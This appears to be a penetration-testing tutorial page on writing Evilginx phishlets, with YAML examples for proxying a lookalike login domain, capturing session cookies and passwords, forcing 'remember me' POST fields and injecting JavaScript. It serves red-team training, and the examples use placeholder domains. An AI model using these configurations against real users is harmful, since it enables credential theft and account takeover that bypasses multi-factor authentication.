# Phishlet Development

Kuba Gretzky, the creator of Evilginx, has great documentation on what the format of a phishlet looks like and what information you'll need in your phishlet to make it functional. I definitely recommend referring to the documentation as you create your phishlet.

{% embed url="<https://help.evilginx.com/docs/phishlet-format>" %}

Since thorough documentation on phishlet creation exists, my goal is to make it easier to understand and give you examples of the phishlet creation process. I'll start by re-covering a few sections commonly used in phishlets, but won't be as verbose as the documentation is to keep things simple to understand.

{% hint style="info" %}
Using Burp Suite to intercept web requests/responses when developing phishlets is extremely helpful as you can see every request, response, redirect, etc. that happens when authenticating for your target website.
{% endhint %}

## Core Functionality

This part includes the common sections that you will find in phishlets. Having these sections defined within your phishlet can be enough for simple web applications.

{% tabs %}
{% tab title="header" %}

### header

This section stores general phishlet information.

{% code title="YAML" %}

```yaml
# Phishlet information
name: "Example phishlet for Weelee's Stuff"
min_ver: '3.0.0'
author: 'Weelee'

# Redirect URL if not defined in the phishing lure
redirect_url: 'https://www.office.com/'
```

{% endcode %}
{% endtab %}

{% tab title="proxy\_hosts" %}

### proxy\_hosts

This section includes information on all the subdomains and domains that Evilginx will need to handle to proxy traffic between your phishing host and the legitimate website in order to capture session cookies, credentials, etc.

{% code title="YAML" fullWidth="false" %}

```yaml
proxy_hosts:
  - {phish_sub: 'login', orig_sub: 'login', domain: 'weelee.zip', session: true, is_landing: true, auto_filter: true}
```

{% endcode %}

In this example, let's say that my website *weelee.zip* has a login page at *login.weelee.zip* that handles all authentication on that subdomain, and I am using the domain *evilweelee.zip* as my domain in Evilginx.

Evilginx will proxy all input from the user who is interacting with the phishing login page at *login.evilweelee.zip* to the legitimate website at *login.weelee.zip*. This allows Evilginx to obtain a session cookie from *login.weelee.zip* even though the phishing target is interacting with *login.evilweelee.zip*.

{% hint style="info" %}
This example is very simplified since it assumes that all parts of the authentication process are handled by *login.weelee.zip*. In real-world situations, you will likely be redirected to various other domains that handle different parts of the authentication process.
{% endhint %}
{% endtab %}

{% tab title="auth\_tokens" %}

### auth\_tokens

This section defines what authentication tokens or session cookies you want to capture within the proxied requests and/or responses.

Once all defined tokens are obtained, the authentication session is considered fully captured and the user will be redirected to the URL defined in the phishing lure or in the redirect\_url field of the phishlet header.

{% code title="YAML" %}

```yaml
auth_tokens:
  - {domain: '.weelee.zip', keys: ['sessioncookie', 'session_token:opt'], type:'cookie'}
```

{% endcode %}

In this example, cookies with a 'sessioncookie' or 'session\_token' that is returned from any subdomain on weelee.zip should be captured. Since 'session\_token' is set as 'opt', the authentication counts as complete if only a 'sessioncookie' is captured.

{% hint style="info" %}
'sessioncookie' and 'session\_token' are just example variables that can hold the cookie/token in the request or response body sent to or from your target website. You will have to inspect the web traffic during the authentication process to see what your target website is naming their session cookies or tokens!
{% endhint %}

Sometimes the variable holding the cookie/token is generated dynamically, so you will need to use a regular expression to find your desired key. The example below will search for a variable/key matching something like 'weelee-1a9z2b'.

{% code title="YAML" %}

```yaml
auth_tokens:
  - {domain: '.weelee.zip', keys: ['weelee-[0-9a-z]{5}:regexp'], type:'cookie'}
```

{% endcode %}
{% endtab %}

{% tab title="credentials" %}

### credentials

This section defines which variables/keys containing credentials should be captured from POST requests.

{% code title="YAML" %}

```yaml
# type: post
credentials:
  username:
     key: 'user'
     search: '(.*)'
     type: 'post'
  password:
     key: 'passwd'
     search: '(.*)'
     type: 'post'
     
# type: json
credentials:
  username:
     key: ''
     search: '"user":"([^"]*)'
     type: 'post'
  password:
     key: ''
     search: '"passw":"([^"]*)'
     type: 'post'
```

{% endcode %}

In the first credential section, it searches through the POST parameter of each request for variables/keys matching 'user' and 'passwd'. If they are found, capture the value for each key as the username and password, respectively.

The second credential section does the same thing but instead looks through JSON within the response body for credentials instead.

{% hint style="info" %}
'user' and 'key' are just example variables/keys that can hold usernames and passwords. These variables/keys are defined by your target website, so look through those web requests!
{% endhint %}
{% endtab %}

{% tab title="login" %}
This section defines the domain and path where the login page of the target website lives.

{% code title="YAML" %}

```yaml
login:
  domain: 'www.weelee.zip'
  path: '/'
```

{% endcode %}

The above YAML defines the target login portal to live at the root directory of *[www.weelee.zip](http://www.weelee.zip)*.
{% endtab %}
{% endtabs %}

## Additional Functionality

For the more advanced web applications (or just for extra functionality) to your phishlet, you may need to implement some of the sections mentioned here.

{% tabs %}
{% tab title="auth\_urls" %}

### auth\_urls

By default, Evilginx considers the authentication as successfully captured once all cookies defined in the [*auth\_tokens*](https://app.gitbook.com/o/ItZwAHnwj9qIlmx7OiOn/s/kU93ONAZiHsNgO6Mhocr/~/changes/87/pentest/external-network/phishing/evilginx/phishlet-format#auth_tokens-1) section are captured. However, if you are searching for cookies using regular expressions, Evilginx won't know when to consider the authentication process to be complete.

To fix this, we can set a URL that tells Evilginx that the authentication process is completed once the authentication reaches the specified URL.

{% code title="YAML" %}

```yaml
auth_urls:
  - '/home'
  - '/home/*'
```

{% endcode %}

In this example, once the authentication process reaches *[www.weelee.zip/home](http://www.weelee.zip/home)* or *[www.weelee.zip/home/\\](http://www.weelee.zip/home/\\)\**, Evilginx will count the authentication as completed and send the user to the *redirect\_url* set.
{% endtab %}

{% tab title="force\_post" %}

### force\_post

This section allows you to define additional POST arguments that you want to add to an existing POST request. This is useful to force your phishing targets to authenticate with the 'Remember Me' option enabled to ensure that a session cookie/token is generated.

{% code title="YAML" %}

```yaml
force_post:
  - path: '/sessions'
    search:
      - {key: 'session\[user.*\]', search: '.*'}
      - {key: 'session\[pass[a-z]{4}\]', search: '.*'}
    force:
      - {key: 'remember_me', value: '1'}
    type: 'post'
```

{% endcode %}

In the example above, we are aiming to add a POST argument to the POST request if the path of the POST request is */sessions*.

Within the POST request, we are using regular expressions to search for both username and password POST arguments. If both are found, then we will insert a 'remember\_me' argument with a value of '1' to indicate True.
{% endtab %}

{% tab title="js\_inject" %}

### js\_inject

This section allows you to add Javascript scripts into proxied pages. This allows you to add additional functionality such as capturing user events such as key presses and dynamic adjusting content.

{% code title="YAML" %}

```yaml
js_inject:
  - trigger_domains: ['www.targetwebsite.com']
    trigger_paths: ['']
    trigger_params: ['email']
    script: |
      function alert(){
        alert('Injected Alert! Hi {email}!')
      }
```

{% endcode %}

The example above simply just creates a popup box when you visit your target website's domain. I have also added the {email} parameter, which will replace it with the email address set in your lure.

{% code title="Evilginx" %}

```
# Edit lure with ID 0 to have an email parameter
lures edit params 0 email=target@domain.com
```

{% endcode %}

{% hint style="info" %}
Note that because we have set *trigger\_params* in the *js\_inject* section, the injected Javascript will not trigger if that parameter is not set.
{% endhint %}

#### External Javascript

You can also inject external Javascript scripts by calling the path to the script within script tags.

{% code title="YAML" %}

```yaml
js_inject:
  - trigger_domains: ['www.targetwebsite.com']
    trigger_paths: ['']
    script: |
      <script src="https://weelee.zip/js/coolscripts.js"></script>
```

{% endcode %}
{% endtab %}

{% tab title="intercept" %}

### intercept

This section allows you to define HTTP requests that you want to replace responses for.

{% code title="YAML" %}

```yaml
intercept:
  - {domain: 'www.weelee.zip', path: '\/error\/.*', http_status: 200, body: 'intercepted', mime: "application/json"}
```

{% endcode %}

The above example will return an HTTP response with status 200 and 'intercepted' in the body of the response for all HTTP requests to *[www.weelee.zip/error/\\](http://www.weelee.zip/error/\\)\**.
{% endtab %}
{% endtabs %}
